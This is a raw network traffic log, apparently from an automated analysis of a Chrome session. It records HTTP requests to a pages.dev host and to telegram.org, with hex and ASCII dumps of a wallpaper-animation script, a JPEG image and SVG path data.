2024-05-23 22:51:25 UTC	391	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 23 May 2024 22:51:25 GMT Content-Type: application/javascript Content-Length: 2979 Last-Modified: Thu, 03 Mar 2022 19:57:25 GMT Connection: close ETag: "62211da5-ba3" Expires: Mon, 27 May 2024 22:51:25 GMT Cache-Control: max-age=345600 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2024-05-23 22:51:25 UTC	2979	IN	Data Raw: 76 61 72 20 54 57 61 6c 6c 70 61 70 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 78 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 5b 5d 2e 63 6f 6e 63 61 74 28 47 29 3b 30 3c 61 3b 29 62 2e 70 75 73 68 28 62 2e 73 68 69 66 74 28 29 29 2c 61 2d 2d 3b 61 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 3d 32 29 61 2e 70 75 73 68 28 62 5b 63 5d 29 3b 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 42 28 61 2c 62 29 7b 62 25 3d 39 30 3b 76 61 72 20 63 3d 78 28 61 25 70 29 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 78 28 2b 2b 61 25 70 29 3b 72 65 74 75 72 6e 5b 7b 78 3a 63 5b 30 5d 2e 78 2b 28 64 5b 30 5d 2e 78 2d 63 5b 30 5d 2e 78 29 2f 39 30 2a 62 2c 79 3a 63 5b 30 5d 2e 79 2b 28 64 5b 30 5d 2e 79 Data Ascii: var TWallpaper=function(){function x(a){for(var b=[].concat(G);0<a;)b.push(b.shift()),a--;a=[];for(var c=0;c<b.length;c+=2)a.push(b[c]);return a}function B(a,b){b%=90;var c=x(a%p);if(b){var d=x(++a%p);return[{x:c[0].x+(d[0].x-c[0].x)/90*b,y:c[0].y+(d[0].y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	172.66.45.18	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:25 UTC	624	OUT	GET /img/profile-1.jpg HTTP/1.1 Host: simxtrackredirecttszz.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://simxtrackredirecttszz.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:51:25 UTC	754	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:51:25 GMT Content-Type: image/jpeg Content-Length: 156077 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "398570c34aafa08182d3cd0963670b22" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4jt4eCctlNenVjIJqA0E5tzbx3TwtvsYu7C8JFOXCNS%2Ba0c35tAUlLe73PnYp7pGBvtqiWiPFItw%2B37kLXfiGW6KCW9hZnajC5AaxQXKnCEyUvLlQ2pX4FbguxdHvdatsFvofqK0j45fmcel0laDscEO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88889c4d58a978e8-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 22:51:25 UTC	615	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e2 02 28 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 18 00 00 00 00 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 00 00 00 00 00 00 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 74 72 58 59 5a 00 00 01 64 00 00 00 14 67 58 59 5a 00 00 01 78 00 00 00 14 62 58 59 5a 00 00 01 8c 00 00 00 14 72 54 52 43 00 00 01 a0 00 00 00 28 67 54 52 43 00 00 01 a0 00 00 00 28 62 54 52 43 00 00 01 a0 00 00 00 28 77 Data Ascii: JFIFHH(ICC_PROFILEmntrRGB XYZ acsp-desctrXYZdgXYZxbXYZrTRC(gTRC(bTRC(w
2024-05-23 22:51:25 UTC	1369	IN	Data Raw: 18 14 11 12 17 12 0e 0f 15 1c 15 17 19 19 1b 1b 1b 10 14 1d 1f 1d 1a 1f 18 1a 1b 1a ff db 00 43 01 04 05 05 06 05 06 0c 07 07 0c 1a 11 0f 11 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ff c2 00 11 08 04 2f 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 02 03 00 01 04 05 06 07 08 ff c4 00 1b 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 8c ea 6c e1 ae 7e e6 45 1b aa af 4b bf ce 7a 42 a4 85 b1 77 5a 60 9a 63 c5 d8 e0 c7 48 09 8b cd c5 d1 c4 9c 3c bd 3e 74 b8 57 a3 32 5c 94 39 d9 9c 7b b2 e5 f5 35 91 b9 5a 81 72 15 72 02 37 59 4a b9 Data Ascii: C/8"l~EKzBwZ`cH<>tW2\9{5Zrr7YJ
2024-05-23 22:51:25 UTC	1369	IN	Data Raw: 75 0a 92 ca a2 85 42 95 eb d9 c8 eb 92 49 17 af 23 6b 64 b9 a7 1c f6 f3 cd 18 b5 a6 30 73 3a f8 63 85 9b 6e 68 c3 0a a2 5d 4a d3 e9 3c ce eb 9f 61 46 1a 92 ae aa 84 c4 80 52 86 5c 06 8a a5 0b b8 0d 5d 12 ae e0 68 a8 aa ba 2a 5c b2 84 a8 58 32 85 42 88 ec 7e b7 ca e7 9a aa ea a8 2d 64 18 11 3a 9c 3e 81 dc f6 be 2b d8 ef 4d 92 5d 0e 4d b9 8d 16 a6 ac 92 12 41 52 1e 3f 8f e7 af a0 f2 fe 5d 87 8f a3 e8 de 67 cc d7 2f 43 73 32 b1 d1 5a 95 72 e9 dd c7 89 e8 f5 79 0a b8 fa 1f 6b e4 33 a7 3f 5f f3 1f 4b 96 6f 82 db 47 3e dd 27 f2 b7 67 4f 5b 6a 17 9f 4a b5 9c fd 8e 13 75 c7 d0 8e 32 ef c3 42 f2 67 d6 2f 1d 69 e9 ce 7d 63 6e 1e 9e 65 72 7a fc 99 93 20 39 6e ae 8a 08 05 62 d7 87 33 83 cf f4 98 78 4f 2b c8 ef 72 a8 a0 4d be d6 58 f6 6b d5 2a e1 75 56 54 ba 21 09 5b Data Ascii: uBI#kd0s:cnh]J<aFR\]h\X2B~-d:>+M]MAR?]g/Cs2Zryk3?_KoG>'gO[jJu2Bg/i}cnerz 9nb3xO+rMXkuVT![
2024-05-23 22:51:25 UTC	1369	IN	Data Raw: 73 e4 75 d5 92 ae 40 d1 09 55 67 ae 68 1e 89 f5 f3 d4 74 f5 f8 fc ff 00 57 9a cf 95 f7 db 87 d1 f9 89 7b b3 3e 8b 64 92 d9 52 2d d0 da 5c 94 cf 57 d0 f8 cf 64 14 1b 8b 7a 2e ba 64 a6 d9 97 9f da e0 9b 73 30 a5 e5 f3 fa 98 8e 1a 76 64 33 8b 02 25 5c 34 f6 38 9a 6c f6 30 ab 79 a9 74 49 28 aa 2a aa b9 22 a4 84 ab a2 49 44 92 14 25 01 a2 12 84 fc ee 3a 75 3c 86 3a f0 fd 10 8c 1e 1e 95 8b 15 34 2a b0 4a 0b 0d 4a 5c 5f 5c 2e f2 f5 b5 3a fa 96 ef 3f a0 ce d9 9a 25 44 b5 45 01 bb 10 40 e9 01 0f 82 9b 21 57 22 4a b1 5b 12 a4 08 74 00 1d 03 08 58 8b 20 d0 6a e9 01 65 54 b4 3d 17 2b 5b 57 ac a8 0c 37 99 af 9e 57 8f 77 96 ed 6b cd 6a ae 6f dd 74 fe 75 ef 3d 5f 3a f9 9d 1e 7f 5f 29 1c df be 78 67 5d 3d 79 66 76 66 76 f2 3c 03 0f 5e 3b d7 c3 e6 6f 1e 9a 78 d8 9e 92 ee Data Ascii: su@UghtW{>dR-\Wdz.ds0vd3%\48l0ytI("ID%:u<:4JJ\_\.:?%DE@!W"J[tX jeT=+[W7Wwkjotu=_:_)xg]=yfvfv<^;ox
2024-05-23 22:51:25 UTC	1369	IN	Data Raw: 4b 80 49 60 c9 45 5c b0 04 84 1b b0 4a ab ab 05 6c 82 85 81 41 2a a0 41 8a b8 05 b1 4c a5 6d 56 a2 96 6a eb 80 ce c4 dc a8 18 9b ce a0 cd 43 b0 b5 26 2a d1 ce c8 c3 a2 de 6e c4 81 ab 3e 3b 1f 5b 8e 5d 38 f9 b4 fb bf 0d f6 7f 2f 06 c7 d5 f3 ea 48 bf a5 53 a0 7e 2f ea 7c 38 f5 79 49 24 a3 d1 f9 9e a1 1e 57 e7 ff 00 51 f9 a6 99 35 d7 b8 d1 7e 9a 83 34 54 59 c0 c6 ec 79 4f ae 7c 77 e8 07 a4 b1 bd 09 8a 33 a4 dc 9a ec 0e 1f 7b 91 04 8d 0a 97 9b 93 a3 9b 4e 35 39 62 15 a6 91 2c 65 21 74 79 a5 67 b4 ab 95 52 4b 65 5c 92 a5 d1 24 85 71 bb 3e 23 8f 6e 0b 94 ff 00 99 f6 8d 82 dc f4 b3 18 38 c0 8b ba 28 90 ae a1 d1 d9 f3 2f 2f a3 27 d4 ed d0 f4 5c 8e b7 2e 68 5e 8a 97 ca 69 76 4f 57 ab dd 7a df 91 fd 57 e7 f0 d2 54 7e 5e 55 0a c0 a3 12 a5 c0 65 c0 65 d0 22 50 a9 70 Data Ascii: KI`E\JlAALmVjC&n>;[]8/HS~/\|8yI$WQ5~4TYyO\|w3{N59b,e!tygRKe\$q>#n8(//'\.h^ivOWzWT~^Uee"Pp
2024-05-23 22:51:25 UTC	1369	IN	Data Raw: a1 92 11 b0 b4 e6 60 ff 00 5b e5 ba 67 a0 92 54 ab a0 4c 6e 6b e5 42 e4 7c af b2 f6 a9 bc bb b4 d6 6d 1b 14 70 75 44 49 20 bf 8f fb 8f 9e 7b 7a bb ec 7e 33 dc 63 3a c9 05 e6 e4 dc e6 a9 56 36 b5 bb 01 35 16 72 18 9b 55 5a c2 0e c9 a2 ad f1 9e 67 eb 3c df 57 4f 9c ab af ce f6 76 d9 ec 3c 1a 79 e7 ea ef f9 d7 ab f1 70 ee 33 11 f2 ce a5 2c 64 30 a5 96 a8 94 b5 88 5c 5a 69 57 04 9a 56 c4 98 ad 62 c0 55 79 d2 87 3e f9 4c c4 9e d8 cf 86 37 78 7e ac fa 79 ed ac 53 31 a3 b1 25 b9 56 96 42 6a 50 4a 52 21 25 92 45 92 42 5d 5d cd c9 0f d0 b2 57 ab e7 8c 91 46 10 99 3c 9f b8 f2 71 8c 6e cb ee 70 7b a7 9c e6 f6 79 e7 35 89 6e 90 0a b5 9a 92 04 42 59 db bd 5f 93 dd 1e ec c6 0c 24 99 d4 7f 37 a3 a8 7c 5e ce 0a ca f4 68 39 b8 7a 5c e4 e6 23 5e 44 5c 90 23 51 1d 07 63 61 Data Ascii: `[gTLnkB\|mpuDI {z~3c:V65rUZg<WOv<yp3,d0\ZiWVbUy>L7x~yS1%VBjPJR!%EB]]WF<qnp{y5nBY_$7\|^h9z\#^D\#Qca
2024-05-23 22:51:25 UTC	1369	IN	Data Raw: 56 25 5a 93 ac a2 98 ab ce ea 4d f3 d3 e3 fd 56 8e de 7f cf c5 f6 6f 90 7a 7c a0 d4 15 c6 b6 e4 3c 6f 5b 33 16 6e 93 cc d9 5a 49 92 ba 01 44 b1 83 22 e8 60 ae 06 4b 9a 32 2e 57 df 89 2c e9 e5 e8 74 b8 9d 9d 2e ac 6c aa 2a 24 1b ac 9e 4f db f9 48 c9 57 59 ac ec 70 fd 01 e7 3c c7 a7 e4 d7 11 8a aa db 78 dc 3a ae ea 88 06 9d f4 3f 9b fa 9c 3d 5c 21 94 cd 4c b3 a4 dc 9a 77 17 ca ed f1 2b 76 17 31 38 38 3a b8 23 20 b5 40 dd 40 f6 63 6a ea f4 fe 7f 4d 7a 71 b1 a9 52 8b f3 dd f2 e7 af 8a bb b9 e7 bc 1f 53 5b 50 ce 1e 86 7c df df fc f7 bf 6f 5f d6 1b e4 b7 29 d8 8c b0 24 22 97 55 e2 fd 5f 33 b6 bc 77 2d be c3 db da bd 0f 99 f4 fc 3c fb d9 65 e3 8b 38 52 dc b2 8a 87 4a 14 c1 94 65 91 56 43 52 4a 5b 92 e2 40 81 92 62 b4 d2 d0 c6 8c 83 20 14 ca 45 03 05 a5 e6 d4 a6 Data Ascii: V%ZMVoz\|<o[3nZID"`K2.W,t.l*$OHWYp<x:?=\!Lw+v188:# @@cjMzqRS[P\|o_)$"U_3w-<e8RJeVCRJ[@b E
2024-05-23 22:51:25 UTC	1369	IN	Data Raw: 6e cb a4 73 10 eb 39 8a eb 70 cd d2 43 e5 21 94 7e 27 eb b5 56 4b 1e 98 5a 5b e4 c9 8c 4b 48 a6 93 2b cb bc 34 cb 9f 77 36 df 41 f4 7f 8e fa 0e 3e af 77 c2 ec 8f 2e fc 5b d8 52 e2 1e bb e3 cd e7 ef 26 ce 4e 6e e6 ee 99 f1 e5 ea f8 d7 9e 2e 97 25 ac 74 f4 73 75 a7 5f 67 95 d1 73 f4 11 f2 7b 7d 1e 1e e2 f3 3f d9 f2 41 d7 3b f1 34 d5 b9 b2 94 ed 64 18 86 5c 2c ad 65 ac 98 2e ed de 7f 7d e4 cc 7f 1b f5 7a 40 0f cd e9 26 8d e3 47 62 73 44 75 73 64 42 60 95 1c a2 c9 62 ee 52 86 0d e8 d5 f9 4f 2b dd f8 3f a3 ea bf 67 e2 b6 6a fd ad bc 8e 9f cf e0 f1 39 cb 14 12 96 c0 c6 0a c2 86 08 dd 87 63 4d be d6 11 79 0d 26 47 65 ea 5c 6c 78 68 82 2b 85 14 34 59 43 05 6f 58 ba 3b 17 4d 5a 66 0d a8 10 a7 24 42 b4 2d 9c e9 d9 9f 7c d5 06 fb f0 c1 87 b9 c9 fa 7f 01 7a 50 ef a3 Data Ascii: ns9pC!~'VKZ[KH+4w6A>w.[R&Nn.%tsu_gs{}?A;4d\,e.}z@&GbsDusdB`bRO+?gj9cMy&Ge\lxh+4YCoX;MZf$B-\|zP
2024-05-23 22:51:25 UTC	1369	IN	Data Raw: 95 5e 71 3e 91 27 20 7b ec 3c d2 bd 4a cf 2e 8f 59 89 3c e6 8e 92 11 88 7d 56 6d 2b 45 d2 b9 3d 6e 26 b8 f2 99 cb be dc fa e9 5e ac af 1b 6e 5d 5d 0f 3d b7 17 72 b4 2a 5a 5d b0 ce 2c cd 44 dc 6c b3 4b b1 5c bb 8f 9c 59 6d a4 9a b3 52 57 35 d2 dd e6 1f 3a fa c6 79 3d 98 d7 a3 be 0e cc eb ac 58 89 bd 0c ce 07 46 b1 1d 6b 14 30 e3 7c ef ea 9e 0f d1 db 84 c5 df 7e df 41 d9 e5 3b de 7c f7 36 64 d1 e4 c5 b1 45 93 5a 30 d3 9d 7b 6c 69 8b e2 db 4b 2b 4c 68 c7 29 c5 90 9a 09 d2 47 c4 c8 22 06 51 10 d2 15 09 02 23 25 10 bb 13 9f 72 8c d1 a2 21 7a 15 48 46 95 33 8f 26 dc ba e7 95 7a b2 75 e2 70 0b ec fe 5b 2e 4e a7 13 df f2 7a fa 79 fb 59 39 52 ce 55 ea 6f e6 7f 7b cc 2d ed 5c 65 d0 d1 35 cf 66 ab 69 62 d3 00 d9 1a 5d 98 33 50 a8 bb a2 4b 92 0c 62 18 1d c3 80 bb 36 Data Ascii: ^q>' {<J.Y<}Vm+E=n&^n]]=r*Z],DlK\YmRW5:y=XFk0\|~A;\|6dEZ0{liK+Lh)G"Q#%r!zHF3&zup[.NzyY9RUo{-\e5fib]3PKb6
2024-05-23 22:51:25 UTC	1369	IN	Data Raw: fa e8 ed e7 68 e7 d3 a9 af 9f a7 9f 4d 93 38 4d 6a 62 61 a3 46 37 4b a7 5e 2d 71 a3 4e 53 34 da ca 9d 28 d0 cd 77 53 3e e4 c3 dd c9 dd 72 ec f0 c0 bb b0 00 e2 a0 1b 42 15 a3 38 00 74 a8 cf ad 29 91 5a 97 ae 78 13 bf 3e f1 8e b4 2b a7 2a 92 75 f3 7b 22 97 c3 e8 c9 74 c4 03 a5 04 3c 4c 9e 4f d5 f8 2b cb 29 cc bd bc ee dd cd ed e3 5d 7e 98 14 f4 2f 1e 8c 69 9f 33 73 ea 46 a1 3a 9d 1f 38 9f 3f ae 7e eb b5 e6 7d 2f 3e bd 2d dc fd 79 d7 43 4e 2d 90 e6 2c 96 d6 d1 33 e5 e8 e6 6f 1a b4 ae 33 03 d4 ca 81 cb 45 8b 05 15 08 09 56 21 58 d8 64 b8 32 a5 8a cf b4 26 7e 7b e6 3e c3 e0 7a f2 f3 4b 72 7a f3 1d 19 9a 29 d1 68 e0 bb 41 94 c5 12 21 5d 0c c8 63 53 aa 85 6d c4 58 bd 3c 5a df 8d f2 5c 97 5b 37 64 09 7a 19 77 26 ce 2e 4e fe 5d 39 f6 4b dd dd b7 03 b9 ef af d1 e0 Data Ascii: hM8MjbaF7K^-qNS4(wS>rB8t)Zx>+*u{"t<LO+)]~/i3sF:8?~}/>-yCN-,3o3EV!Xd2&~{>zKrz)hA!]cSmX<Z\[7dzw&.N]9K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49720	149.154.167.99	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:27 UTC	610	OUT	GET /img/tgme/pattern.svg?1 HTTP/1.1 Host: telegram.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://telegram.org/css/telegram.css?227 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:51:27 UTC	345	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 23 May 2024 22:51:27 GMT Content-Type: image/svg+xml Content-Length: 231706 Last-Modified: Thu, 05 Jan 2023 17:52:04 GMT Connection: close ETag: "63b70e44-3891a" Expires: Mon, 27 May 2024 22:51:27 GMT Cache-Control: max-age=345600 Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-05-23 22:51:27 UTC	16039	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 37 2e 30 2e 31 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 27.0.1, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="
2024-05-23 22:51:27 UTC	16384	IN	Data Raw: 34 30 2e 34 2d 32 2e 38 73 38 2e 37 2d 32 38 2e 35 2c 37 2e 33 2d 33 31 2e 31 73 2d 33 2e 31 2d 38 2e 39 2c 32 2e 34 2d 31 31 2e 39 63 35 2e 36 2d 33 2c 31 32 2c 33 2c 31 35 2e 33 2c 31 30 2e 35 0a 09 09 73 39 2e 38 2c 33 32 2e 35 2d 31 39 2e 31 2c 34 38 2e 39 63 2d 33 30 2e 32 2c 31 37 2e 31 2d 35 37 2e 33 2c 31 33 2e 36 2d 36 37 2e 36 2c 33 2e 37 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 35 32 30 2e 36 2c 32 37 34 35 2e 39 63 2d 32 2c 33 2e 38 2d 33 2e 34 2c 31 39 2e 38 2d 31 2e 36 2c 32 31 2e 32 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 35 32 37 2e 37 2c 32 37 34 36 2e 37 63 31 2e 35 2c 33 2e 38 2d 30 2e 39 2c 31 38 2e 31 2d 32 2e 35 2c 31 39 2e 38 22 2f 3e 0a 09 3c 70 61 74 Data Ascii: 40.4-2.8s8.7-28.5,7.3-31.1s-3.1-8.9,2.4-11.9c5.6-3,12,3,15.3,10.5s9.8,32.5-19.1,48.9c-30.2,17.1-57.3,13.6-67.6,3.7"/><path class="st0" d="M520.6,2745.9c-2,3.8-3.4,19.8-1.6,21.2"/><path class="st0" d="M527.7,2746.7c1.5,3.8-0.9,18.1-2.5,19.8"/><pat
2024-05-23 22:51:27 UTC	16384	IN	Data Raw: 2d 31 30 2e 38 73 36 2e 33 2c 35 2e 33 2c 36 2e 33 2c 35 2e 33 73 33 2e 36 2d 32 2e 38 2c 37 2e 31 2c 30 2e 32 73 31 2e 33 2c 37 2e 39 2c 31 2e 33 2c 37 2e 39 73 35 2e 31 2d 32 2c 36 2e 37 2c 33 2e 35 0a 09 09 63 31 2e 34 2c 35 2e 31 2d 35 2e 36 2c 39 2e 33 2d 31 30 2e 37 2c 37 2e 34 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 32 38 35 2e 34 2c 31 37 39 36 2e 39 63 32 2e 38 2c 30 2e 36 2c 34 2e 35 2c 33 2e 36 2c 34 2e 35 2c 33 2e 36 73 32 2e 37 2d 33 2e 37 2c 36 2e 39 2d 31 2e 38 73 33 2e 35 2c 37 2e 32 2c 33 2e 35 2c 37 2e 32 73 34 2e 33 2d 33 2e 34 2c 37 2e 34 2c 31 2e 35 0a 09 09 63 32 2e 33 2c 33 2e 36 2d 31 2c 38 2e 33 2d 35 2e 32 2c 39 2e 37 22 2f 3e 0a 3c 2f 67 3e 0a 3c 67 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 Data Ascii: -10.8s6.3,5.3,6.3,5.3s3.6-2.8,7.1,0.2s1.3,7.9,1.3,7.9s5.1-2,6.7,3.5c1.4,5.1-5.6,9.3-10.7,7.4"/><path class="st0" d="M285.4,1796.9c2.8,0.6,4.5,3.6,4.5,3.6s2.7-3.7,6.9-1.8s3.5,7.2,3.5,7.2s4.3-3.4,7.4,1.5c2.3,3.6-1,8.3-5.2,9.7"/></g><g><path clas
2024-05-23 22:51:27 UTC	16384	IN	Data Raw: 34 2e 32 2c 31 36 2e 36 2d 38 2e 32 2c 32 30 2e 33 2d 36 2e 39 63 34 2e 34 2c 31 2e 35 2c 31 31 2e 35 2c 31 31 2e 35 2c 31 37 2e 36 2c 32 30 2e 34 0a 09 09 73 31 31 2c 37 2e 38 2c 31 31 2e 38 2c 33 2e 37 63 30 2e 38 2d 33 2e 39 2d 36 2e 37 2d 32 30 2e 33 2d 34 2e 37 2d 32 33 2e 32 63 30 2e 35 2d 30 2e 37 2c 33 2e 31 2d 30 2e 39 2c 37 2e 37 2c 37 2e 36 73 39 2e 33 2c 31 38 2e 32 2c 31 33 2c 31 32 2e 38 63 31 2e 34 2d 32 2c 30 2e 37 2d 36 2e 33 2d 31 2e 34 2d 31 32 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 38 32 2e 39 2c 31 34 34 37 2e 38 63 2d 37 2e 37 2d 34 2e 37 2d 38 2e 32 2d 34 33 2e 37 2c 31 2e 35 2d 35 33 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 37 32 2e 31 2c 31 33 39 38 Data Ascii: 4.2,16.6-8.2,20.3-6.9c4.4,1.5,11.5,11.5,17.6,20.4s11,7.8,11.8,3.7c0.8-3.9-6.7-20.3-4.7-23.2c0.5-0.7,3.1-0.9,7.7,7.6s9.3,18.2,13,12.8c1.4-2,0.7-6.3-1.4-12"/><path class="st0" d="M82.9,1447.8c-7.7-4.7-8.2-43.7,1.5-53"/><path class="st0" d="M72.1,1398
2024-05-23 22:51:27 UTC	16384	IN	Data Raw: 2e 38 2c 32 2e 32 2d 31 30 2e 37 2c 36 2d 31 31 2e 34 2c 31 31 2e 34 63 2d 30 2e 33 2c 31 2e 39 2c 30 2e 36 2c 33 2e 38 2c 32 2e 31 2c 34 2e 38 0a 09 09 63 30 2e 36 2c 30 2e 34 2c 31 2e 33 2c 30 2e 37 2c 32 2e 31 2c 30 2e 38 63 32 2e 37 2c 30 2e 34 2c 35 2e 33 2d 31 2e 35 2c 35 2e 37 2d 34 2e 32 63 30 2e 31 2d 30 2e 35 2c 30 2e 33 2d 31 2e 39 2c 34 2e 36 2d 33 2e 33 43 35 38 38 2e 31 2c 31 35 32 39 2e 37 2c 35 39 32 2e 33 2c 31 35 32 35 2e 34 2c 35 39 33 2e 32 2c 31 35 32 30 2e 35 7a 20 4d 35 38 31 2e 36 2c 31 35 32 38 2e 37 0a 09 09 63 2d 36 2e 31 2c 32 2d 36 2e 35 2c 34 2e 37 2d 36 2e 37 2c 35 2e 37 63 2d 30 2e 32 2c 31 2e 31 2d 31 2e 32 2c 31 2e 39 2d 32 2e 33 2c 31 2e 37 63 2d 30 2e 33 2c 30 2d 30 2e 36 2d 30 2e 32 2d 30 2e 38 2d 30 2e 33 63 2d 30 2e Data Ascii: .8,2.2-10.7,6-11.4,11.4c-0.3,1.9,0.6,3.8,2.1,4.8c0.6,0.4,1.3,0.7,2.1,0.8c2.7,0.4,5.3-1.5,5.7-4.2c0.1-0.5,0.3-1.9,4.6-3.3C588.1,1529.7,592.3,1525.4,593.2,1520.5z M581.6,1528.7c-6.1,2-6.5,4.7-6.7,5.7c-0.2,1.1-1.2,1.9-2.3,1.7c-0.3,0-0.6-0.2-0.8-0.3c-0.
2024-05-23 22:51:27 UTC	16384	IN	Data Raw: 36 2e 36 2c 37 2e 37 2c 33 2e 31 2c 32 30 2e 36 2c 36 2e 31 2c 32 39 2e 37 73 31 34 2e 31 2c 34 35 2e 32 2d 31 31 2e 38 2c 34 33 2e 32 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 31 34 39 2e 31 2c 35 33 37 2e 36 63 37 2e 38 2d 30 2e 35 2c 37 2e 37 2c 31 33 2e 33 2d 31 2e 31 2c 39 2e 37 63 2d 34 2e 31 2d 31 2e 37 2d 33 2e 38 2d 39 2e 32 2c 30 2e 39 2d 39 2e 37 43 31 34 39 2c 35 33 37 2e 36 2c 31 34 39 2e 31 2c 35 33 37 2e 36 2c 31 34 39 2e 31 2c 35 33 37 2e 36 7a 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 31 32 34 2e 36 2c 35 34 31 2e 35 63 31 30 2e 38 2c 35 2e 33 2d 31 2e 36 2c 32 31 2e 33 2d 39 2e 31 2c 31 32 2e 32 63 2d 34 2e 39 2d 35 2e 39 2c 32 2d 31 35 2e 34 2c 38 2e 38 2d 31 Data Ascii: 6.6,7.7,3.1,20.6,6.1,29.7s14.1,45.2-11.8,43.2"/><path class="st0" 